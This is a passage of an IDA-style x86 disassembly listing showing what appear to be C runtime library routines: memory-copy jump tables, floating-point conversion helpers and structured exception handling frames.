		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------

loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEB+40p
					; ___:0040E29Fp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D030+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43FB40
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------

loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722

loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------

loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4E0B7C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_442154, offset sub_421935
		mov	off_442150, eax
		mov	off_442158, offset sub_42199B
		mov	off_44215C, offset sub_4218DB
		mov	off_442160, offset sub_421983
		mov	off_442164, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D030+1Bp
					; sub_40D030+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07C+82p
					; ___:0040DD3Cp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43FB58
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------

loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868

loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------

loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch

loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------

loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4E0BD4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------

loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------

loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------

loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E

loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2

loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39

loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45

loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]

loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67

loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2

loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]

loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------

loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43FB5C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43FB5C
		mov	ecx, [ebp+8]

loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07C+5p
					; sub_40D21E+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B3+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D724+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28

loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------

loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
